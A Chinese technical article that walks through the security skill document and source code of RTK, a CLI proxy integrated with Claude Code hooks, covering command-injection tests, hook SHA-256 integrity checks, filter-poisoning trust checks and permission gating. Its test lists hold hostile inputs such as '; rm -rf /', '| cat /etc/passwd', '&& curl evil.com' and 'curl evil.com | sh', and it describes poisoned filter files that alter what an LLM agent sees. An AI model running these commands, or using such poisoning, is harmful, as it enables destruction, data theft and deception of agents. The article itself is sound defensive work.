首页
/ RTK 安全守护实战:RTK CLI 的命令注入防御、Shell 转义与 Hook 完整性校验

RTK 安全守护实战:RTK CLI 的命令注入防御、Shell 转义与 Hook 完整性校验

2026-09-04 13:36:23作者:段琳惟

RTK 是一个"执行命令、解析不可信输出、并与 Claude Code 等 Agent Hook 深度集成"的 CLI 代理,这类定位天然放大了命令注入、Shell 转义与 Hook 劫持三类风险。本文基于 RTK 仓库中的安全守护技能文档 SKILL.md 完整展开其威胁模型、审计检查清单与事件响应流程,并结合 runner.rstrust.rsintegrity.rs 等源码实现,说明每一项防护措施在 RTK 中的真实落点,帮助你在维护 CLI 代理类工具时建立一套可复制的安全审计方法论。

一、触发时机与 RTK 的安全威胁模型

安全守护技能文档定义了明确的触发时机,这是把安全审计嵌入开发流程而非事后补课的关键:

  • 自动触发:filter 变更、Shell 命令执行逻辑变更、Hook 修改之后;
  • 手动调用:发版前、任何安全敏感代码变更之后;
  • 主动触发:处理用户输入、执行 Shell 命令、解析不可信输出时。

RTK 面临的独特安全挑战源于它的四种行为:

  1. 基于用户输入执行 Shell 命令
  2. 解析不可信的命令输出(git、cargo、gh 等工具的原始输出);
  3. 与 Claude Code 的 Hook 集成(如 rtk-rewrite.sh);
  4. 透明路由命令(本身就是命令注入的攻击面)。

文档给出的威胁分类如下:

威胁 严重级别 影响 缓解措施
命令注入(Command Injection) 🔴 CRITICAL 远程代码执行 输入校验、Shell 转义
Shell 转义(Shell Escaping) 🔴 CRITICAL 任意命令执行 平台相关转义
Hook 注入(Hook Injection) 🟡 HIGH Hook 劫持、命令拦截 权限检查、签名校验
恶意输出(Malicious Output) 🟡 MEDIUM RTK 崩溃、DoS 健壮解析、错误处理
路径穿越(Path Traversal) 🟢 LOW 访问 filters/ 之外的文件 路径净化

威胁识别的四组问题清单

文档要求对每次代码变更回答四组问题,这实际上构成了一份结构化审计问卷:

输入校验:
- 这段代码是否接受用户输入?
- 输入在使用前是否被校验?
- 特殊字符(;、|、&、$、`、\ 等)是否会造成问题?

Shell 执行:
- 这段代码是否执行 Shell 命令?
- 命令参数是否正确转义?
- 使用的是 std::process::Command(安全)还是 shell=true(危险)?

输出解析:
- 这段代码是否解析外部命令输出?
- 畸形输出是否会导致 panic 或崩溃?
- 正则模式是否经过恶意输入测试?

Hook 集成:
- 这段代码是否修改 Hook?
- 是否校验了 Hook 权限(可执行位)?
- 是否校验了 Hook 源码完整性?

二、代码审计模式:四类漏洞的识别与修复

文档给出了四类典型漏洞的"危险写法 vs 安全写法"对照,逐一拆解并给出源码级印证。

2.1 命令注入检测

危险写法是用 format! 拼接字符串再交给 sh -c 解释:

// 🔴 危险:Shell 注入漏洞
let user_input = env::args().nth(1).unwrap();
let cmd = format!("git log {}", user_input); // 危险!
std::process::Command::new("sh")
    .arg("-c")
    .arg(&cmd) // 攻击者可注入:`; rm -rf /`
    .spawn();

安全写法是使用 Command 构建器,参数由进程 API 直接传递、不经过 Shell 解释:

// ✅ 安全:使用 Command 构建器,而非 shell 字符串
let user_input = env::args().nth(1).unwrap();
Command::new("git")
    .arg("log")
    .arg(&user_input) // 作为独立参数安全传递,不被 shell 解释
    .spawn();

这一点在 RTK 的核心执行骨架中得到了印证:runner.rs 中的 run() / run_filtered() / run_streamed() 全部接收 std::process::Command 对象,参数通过 cmd.args(args) 传入,透传路径 run_passthrough() 同样是 cmd.args(args)(见 runner.rs 第 256-270 行)。整条执行链路中没有 sh -c + 用户输入的拼接路径,与文档"永远使用 Command builder"的要求一致。

2.2 Shell 转义漏洞

危险写法是把参数用 join(" ") 拼成完整命令字符串再交给 Shell:

// 🔴 危险:特殊字符未转义
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
    let full_cmd = format!("{} {}", cmd, args.join(" "));
    Command::new("sh").arg("-c").arg(&full_cmd) // 危险:args 未转义
        .output()
}

// ✅ 安全:使用 Command 构建器,由进程 API 处理转义
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
    Command::new(cmd).args(args).output()
}

文档同时建议:若确实需要手写转义,应使用专门的转义库(如 shell-escape crate)而不是自行实现,并按平台区分策略:

#[cfg(target_os = "windows")]
fn escape_for_shell(arg: &str) -> String {
    // PowerShell 转义
    format!("\"{}\"", arg.replace('"', "`\""))
}

#[cfg(not(target_os = "windows"))]
fn escape_for_shell(arg: &str) -> String {
    // Bash/zsh 转义
    shell_escape::escape(arg.into()).into()
}

需要说明:RTK 当前的 Cargo.toml 依赖列表中并未引入 shell-escape——这是因为 RTK 主路径上根本不需要手写转义(全部走 Command 构建器),该建议属于文档给出的通用纵深防御实践。

2.3 恶意输出处理:禁止因解析外部输出而 panic

这是 RTK 作为"输出过滤器"最核心的攻击面——git、cargo 等的输出完全不可信。文档示例:

// 🔴 危险:意外输出直接 panic
fn filter_git_log(input: &str) -> String {
    let first_line = input.lines().next().unwrap(); // 空输入会 panic!
    let hash = &first_line[7..47]; // 行太短会 panic!
    hash.to_string()
}

// ✅ 安全:优雅的错误处理
fn filter_git_log(input: &str) -> Result<String> {
    let first_line = input.lines().next()
        .ok_or_else(|| anyhow::anyhow!("Empty input"))?;
    if first_line.len() < 47 {
        bail!("Invalid git log format");
    }
    Ok(first_line[7..47].to_string())
}

RTK 在此之上还有一层输出安全网:guard.rs 实现了 never_worse() 函数——当过滤后的输出 token 数反而大于原始输出时,直接回退输出原始内容,保证"RTK 永远不会让 token 变多"(该行为由 guard.rs 第 16-55 行 的单元测试覆盖,包括空输入、等长、边界等情形)。配合 runner.rsskip_filter_on_failure 选项(命令失败时直接透传原始 stdout/stderr),构成"解析异常时降级透传"而不是崩溃的防御模型。

2.4 Hook 注入防御

文档指出的危险模式是 Hook 脚本对环境变量直接 eval

# 🔴 危险:Hook 不校验来源
eval "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" # 危险!

安全模式是:校验运行上下文、校验依赖存在、使用绝对路径执行以避免 PATH 劫持。文档给出的完整检查清单脚本:

#!/bin/bash
# rtk-rewrite.sh

# 1. 校验 Claude Code 上下文
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
    exit 1
fi

# 2. 校验 RTK 二进制的存在
if ! command -v rtk >/dev/null 2>&1; then
    exit 1
fi

# 3. 使用绝对路径(防 PATH 劫持)
RTK_BIN=$(which rtk)

# 4. 校验 RTK 版本(防降级攻击)
if ! "$RTK_BIN" --version | grep -q "rtk 0.16"; then
    echo "Warning: RTK version mismatch"
fi

# 5. 以显式路径执行
"$RTK_BIN" "$@"

仓库中的真实 Hook 脚本 rtk-rewrite.sh 印证并强化了这套思路:开头即做"依赖缺失则静默跳过"守卫(rtkjq 不存在时直接 exit 0)、对 heredoc 提前退出、用 jq --arg 参数化构造 JSON 而非字符串拼接,并且所有命令映射与权限判断都委托给 rtk rewrite 单一事实来源,脚本本身不含任何 eval/source。脚本头部注释定义了 rtk rewrite 的退出码协议:0=自动放行、1=无等价命令透传、2=命中 deny 规则、3=命中 ask 规则需用户确认——这与后文源码中的 PermissionVerdict 枚举一一对应。

三、安全测试:注入与恶意输出的验证方法

文档给出了可直接落地的测试用例设计,核心思想是"输入必须被当作字面量,或安全报错——绝不能被执行"。

3.1 命令注入测试

#[cfg(test)]
mod security_tests {
    #[test]
    fn test_command_injection_defense() {
        let malicious_inputs = vec![
            "; rm -rf /",
            "| cat /etc/passwd",
            "$(whoami)",
            "`id`",
            "&& curl evil.com",
        ];
        for input in malicious_inputs {
            let result = execute_command("git", &["log", input]);
            // 可接受结果二选一:
            // 1. 返回错误(命令安全地失败)
            // 2. 将输入当作字面字符串(无 shell 解释)
            // 唯一不可接受:注入被执行!
        }
    }

    #[test]
    fn test_shell_escaping() {
        let special_chars = vec![
            ";", "|", "&", "$", "`", "\\", "\"", "'", "\n", "\r",
        ];
        for char in special_chars {
            let arg = format!("test{}value", char);
            let escaped = escape_for_shell(&arg);
            assert!(!escaped.contains(char) || escaped.contains('\\'));
        }
    }
}

3.2 恶意输出测试

针对可能打崩 RTK 的畸形输出(空串、纯换行、1MB 填充、二进制数据、Unicode 替换字符),断言"要么返回 Ok 的过滤结果,要么优雅返回 Err——绝不允许 panic":

#[test]
fn test_malicious_output_handling() {
    let malicious_outputs = vec![
        "",                        // 空
        "\n\n\n",                   // 仅换行
        "x".repeat(1_000_000),     // 1MB 'x'(内存耗尽)
        "\x00\x01\x02",            // 二进制数据
        "\u{FFFD}".repeat(1000),   // Unicode 替换字符
    ];
    for output in malicious_outputs {
        let result = filter_git_log(&output);
        assert!(result.is_ok() || result.is_err()); // 绝不 panic
    }
}

RTK 的测试基础设施与这种思路一致:仓库顶层 tests/ 目录包含 guard_integration_test.rssearch_error_test.rssearch_compress_test.rs 等集成测试,专门验证过滤层在异常输入下的行为;而 integrity.rs 内嵌的测试直接构造"被篡改的 Hook"(把 Hook 内容改成 curl evil.com | sh)验证 Tampered 状态被正确检出。

四、漏洞清单(Checklist)与自动化检测命令

4.1 命令注入(🔴 Critical)

  • 禁用 shell=true:永远不用用户输入配合 .arg("-c")
  • 使用 Command builder:走 std::process::Command API 而非 Shell 字符串
  • 输入校验:执行前校验/净化输入
  • 白名单优先:只允许已知安全的命令

检测命令:

# 定位危险的 shell 执行
rg "\.arg\(\"-c\"\)" --type rust src/
rg "std::process::Command::new\(\"sh\"\)" --type rust src/
rg "format!.*\{.*Command" --type rust src/

4.2 Shell 转义(🔴 Critical)

  • 跨平台:在 macOS、Linux、Windows 上分别测试转义
  • 特殊字符:覆盖 ;|&$`\"'\n
  • 使用专用转义库:不要自己实现
  • 跨平台测试:用 #[cfg(target_os = "...")] 组织

检测命令:

rg "format!.*\{.*args" --type rust src/
rg "\.join\(\" \"\)" --type rust src/

4.3 Hook 安全(🟡 High)

  • 权限检查:确认 Hook 可执行(-rwxr-xr-x
  • 来源校验:只执行受信位置的 Hook
  • 环境校验:检查运行上下文环境变量
  • 禁止动态求值:不得 eval/source 不可信文件

RTK 的实际实现比清单走得更远,形成"信任前校验"(trust-before-load)模型,值得作为 Hook 类安全机制的参考实现:

(1)Hook 完整性校验——integrity.rs 在安装时把 Hook 脚本的 SHA-256 写入旁边的 .rtk-hook.sha256 文件(格式兼容 sha256sum -c,权限设为只读 0444 作为"绊索"),运行时 runtime_check() 在每次执行前比对哈希:Verified/NotInstalled 静默通过,Tampered 时向 stderr 报错并 exit(1) 拒绝执行,且不提供环境变量旁路(官方修复路径是重新 rtk init -g --auto-patch 重建基线)。该设计在源码注释中明确指向历史安全公告 SA-2025-RTK-001——因为 Hook 拥有 permissionDecision: "allow" 的自动放行能力,任何未授权修改都等价于命令注入向量。rtk verify 子命令则面向人工审计,额外报告数据目录的 0700 属主独占权限检查。

(2)项目级过滤器的信任模型——trust.rs 处理的是另一类"投毒"攻击:.rtk/filters.toml 从当前工作目录以最高优先级加载,攻击者可以把它提交到公开仓库,用 replace/match_output 原语改写 LLM 看到的输出(隐藏恶意代码、压制扫描器告警)。该模块实现:未受信过滤器直接跳过而非"加载并警告";rtk trust 在用户审查后存储 SHA-256 哈希;内容变更使信任失效(ContentChanged 状态,需重新审查);RTK_TRUST_PROJECT_FILTERS=1 仅在检测到 CI 环境变量(CI/GITHUB_ACTIONS/GITLAB_CI/JENKINS_URL/BUILDKITE)时才覆盖信任检查——本地设置该变量会被显式忽略,源码注释说明这是为防止 .envrc 注入。所有错误路径都 fail-secure(返回 Untrusted)。

(3)权限判定引擎——permissions.rs 实现了文档"Permission checks"要求的判定逻辑:从 Claude Code / Cursor / Gemini / Droid 的 settings 文件加载 deny/ask/allow 规则,优先级为 Deny > Ask > Allow > Default(ask),与宿主的"最小权限默认"对齐。两个关键强化点值得注意:

  • 复合命令按 &&;||| 等切分为 segment,每个非空 segment 必须独立命中 allow 规则整个链才允许自动放行(针对 issue #1213 的回归测试:git status && git add . 中仅前者被允许时,整体降级为 Default 而非 Allow);
  • contains_unattestable_constructlexer.rs)检测变量替换、文件重定向等不可静态证明的构造,命中则直接返回 Ask——"无法分解的构造,绝不自动放行"。

配套的测试覆盖了换行隐藏命令(git status\nrm -rf ~)、后台隐藏命令、引号内 && 不误切分、|& 管道段检查等绕过手法,可作为权限门控类实现的测试模板。

4.4 恶意输出(🟡 Medium)

  • 禁用 .unwrap():解析路径使用 Result 与优雅错误
  • 边界检查:切片前校验字符串长度
  • 正则超时:防 ReDoS(正则拒绝服务)
  • 内存上限:解析前限制输出大小

文档给出的安全解析模式(限大小 → 验格式 → 边界检查 → 安全提取):

fn safe_parse(output: &str) -> Result<String> {
    // 1. 输出大小检查(防内存耗尽)
    if output.len() > 10_000_000 {
        bail!("Output too large (>10MB)");
    }
    // 2. 格式校验(防畸形输入)
    if !output.starts_with("commit ") {
        bail!("Invalid git log format");
    }
    // 3. 边界检查(防 panic)
    let first_line = output.lines().next()
        .ok_or_else(|| anyhow::anyhow!("Empty output"))?;
    if first_line.len() < 47 {
        bail!("Commit hash too short");
    }
    // 4. 安全提取
    Ok(first_line[7..47].to_string())
}

4.5 安全审计命令速查

文档汇总的 rg 检测命令覆盖五类问题,可作为 CI 或人工审计脚本直接使用:

# 命令注入
rg "\.arg\(\"-c\"\)" --type rust src/
rg "format!.*Command" --type rust src/

# Shell 转义
rg "\.join\(\" \"\)" --type rust src/
rg "format!.*\{.*args" --type rust src/

# 不安全的 unwrap(恶意输入可能引发 panic)
rg "\.unwrap\(\)" --type rust src/

# 边界越界
rg "\[.*\.\.\.\]" --type rust src/
rg "\[.*\.\.]" --type rust src/

# Hook 安全
rg "eval|source" --type bash .claude/hooks/

五、安全最佳实践:白名单、转义与命令执行

5.1 输入校验:白名单优于黑名单

fn validate_command(cmd: &str) -> Result<()> {
    // ✅ 安全:白名单已知安全命令
    const ALLOWED_COMMANDS: &[&str] = &[
        "git", "cargo", "gh", "pnpm", "docker",
        "rustc", "clippy", "rustfmt",
    ];
    if !ALLOWED_COMMANDS.contains(&cmd) {
        bail!("Command '{}' not allowed", cmd);
    }
    Ok(())
}

// ❌ 不安全:黑名单极易被绕过
// 攻击者可以用 /bin/rm、rm.exe、RM(大小写变体)等绕过

5.2 Shell 转义:使用经过实战检验的库

use shell_escape::escape;

fn escape_arg(arg: &str) -> String {
    escape(arg.into()).into() // 使用成熟转义库
}

// ❌ 不安全:自行实现(必然有漏网的特殊字符)
fn escape_arg_unsafe(arg: &str) -> String {
    arg.replace('"', r#"\""#) // 漏掉大量特殊字符!
}

5.3 安全命令执行:永远用 Command builder

// ✅ 安全:Command builder(无 shell)
fn execute_git(args: &[&str]) -> Result<Output> {
    Command::new("git")
        .args(args) // 安全转义
        .output()
        .context("Failed to execute git")
}

// ❌ 不安全:shell 字符串拼接
fn execute_git_unsafe(args: &[&str]) -> Result<Output> {
    let cmd = format!("git {}", args.join(" "));
    Command::new("sh").arg("-c").arg(&cmd) // shell 会解释 args!
        .output()
}

RTK 在工程层面还叠加了两条全局约束(见 Cargo.toml[lints.rust] 段):unsafe_code = "deny" 全局禁用 unsafe 代码、warnings = "deny" 把编译警告升级为错误——这与文档"Unsafe code detection / 静态分析"的工具链建议形成互补。

六、事件响应流程与工具链

6.1 漏洞发现后的五步响应

  1. 评估严重性:使用 CVSS 评分(Critical/High/Medium/Low)
  2. 开发补丁:在隔离分支中修复
  3. 测试修复:用安全测试 + 集成测试验证
  4. 发布热修复:PATCH 版本号递增(示例:v0.16.0 → v0.16.1)
  5. 负责任披露:Security Advisory,适用时申请 CVE

文档附带了公告模板(Severity / Affected versions / Fixed in / Description / Impact / Mitigation / Credits 七个字段)。需要说明:模板中的 v0.16.x 版本号是示例占位,当前仓库 Cargo.toml 实际版本为 0.42.4;而 integrity.rs 头部注释引用的 SA-2025-RTK-001(Finding F-01)则是真实发生过的 Hook 篡改检测机制的由来,印证了这套响应流程在 RTK 中已被实际执行过。

6.2 安全工具链

工具 用途
cargo audit 依赖漏洞扫描
cargo-geiger unsafe 代码检测
cargo-deny 依赖策略执行
semgrep 安全模式静态分析

运行方式:

cargo install cargo-audit && cargo audit     # 依赖漏洞
cargo install cargo-geiger && cargo geiger    # unsafe 代码检测
cargo install semgrep && semgrep --config auto  # 静态分析

七、小结:从文档到源码的安全防线映射

SKILL.md 的每一项要求与 RTK 的实际实现对照,可以看到一条完整的映射链:

文档要求 源码落点
使用 Command builder,禁用 sh -c 拼接 src/core/runner.rs 全链路 Command::args
解析不可信输出不得 panic src/core/guard.rs never_worse 回退 + 失败透传
Hook 权限/完整性校验 src/hooks/integrity.rs SHA-256 基线 + 运行时门禁
项目级过滤器投毒防御 src/hooks/trust.rs trust-before-load 模型
权限检查(Deny>Ask>Allow) src/hooks/permissions.rs 分段独立匹配
Hook 脚本无 eval、参数化构造 .claude/hooks/rtk-rewrite.sh jq --arg + 退出码协议
全局工程约束 Cargo.toml unsafe_code = "deny"

对维护同类 CLI 代理工具的开发者,这套方法论的核心可归纳为三点:执行面用进程 API 隔离 Shell 解释、数据面把外部输出全部当作不可信输入做 fail-secure 解析、集成面用哈希基线与分段权限判定守住 Agent Hook 这条"自动放行"通道。文档提供的 rg 检测命令与注入测试模板,可以作为 CI 中常态化运行的最小安全门禁。

登录后查看全文
热门项目推荐
相关项目推荐